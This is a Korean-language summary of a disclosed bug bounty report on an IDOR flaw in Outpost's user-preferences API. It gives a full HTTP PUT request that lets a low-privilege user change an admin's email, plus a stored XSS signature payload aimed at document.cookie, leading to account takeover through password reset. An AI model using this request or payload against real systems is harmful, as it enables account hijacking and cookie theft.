hackerone-paloalto-software-2020-05-c-854290
IDOR on update user preferences
USER 권한을 가진 팀원이 팀 내 모든 사용자의 데이터를 변경하거나 쿠키를 훔칠 수 있었다. 사용자의 이메일을 변경한 뒤 비밀번호 리셋을 요청하면 피해자의 계정을 탈취할 수도 있었다.
user1은 ADMIN 권한인 타겟 계정이고, user2는 USER 권한의 공격자라 하자.
Conversation assignment 기능의 메일 탭을 누르고 이를 프록시로 잡으면 다른 팀원의 UUID를 알 수 있다. https://api.outpost.co/api/v1/conversation/assigned?assignedToUserUuid=da4f313f-e21e-4b5f-b2da-42d9864716f6. 와 같이 GET 파라미터에 나타난다. 이를 복사해둔다.
다음은 유저의 설정을 변경하는 페이로드이다. URL에 위에서 얻은 user1-uuid를 넣고, 쿠키에 user2의 쿠키를 넣고 보내면 남의 설정을 변경할 수 있다. 바디의 email을 공격자의 이메일로 변경한다.
PUT /api/v1/user/preferences/{user1-uuid} HTTP/2.0
Host: api.outpost.co
Content-Length: 434
Sec-Fetch-Dest: empty
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36
Dnt: 1
Content-Type: application/json
Accept: */*
Origin: https://app.outpost.co
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Referer: https://app.outpost.co/
Accept-Encoding: gzip, deflate, br
Accept-Language: ru-RU, ru;q=0.9, en-US;q=0.8, en;q=0.7
Cookie: auth={user2-cookie}
{
"firstName": "user1-changed-by-user2",
"lastName": "null",
"email": "{attacker-email}",
"role": "USER",
"defaultMailboxUuid": "",
"mailboxUuids": [
"e4a63ae3-bb10-46f8-be28-a2660a2344ec"
],
"signature": "{signature}",
"timezone": "Europe/Moscow",
"defaultSendAndResolve": false,
"selectFirstConversation": true
}
signature에 <p style=\"margin:0;\">User Signature2<img src=x onerror=alert(document.cookie) ></p> 와 같은 XSS 페이로드를 저장한다. 이는 user1이 https://app.outpost.co/settings/preferences 에 접속했을 때 실행된다. 이를 이용해 쿠키 등을 유출할 수 있다.
https://app.outpost.co/sign-in/help 에 접속하고 위에서 설정한 공격자의 이메일을 입력한다. 그리고 비밀번호 재설정을 요청한다. 이를 통해 user1의 비밀번호를 변경하고 로그인할 수 있다.
tags: bughunting, wstg-athz-04, idor, severity critical, web hacking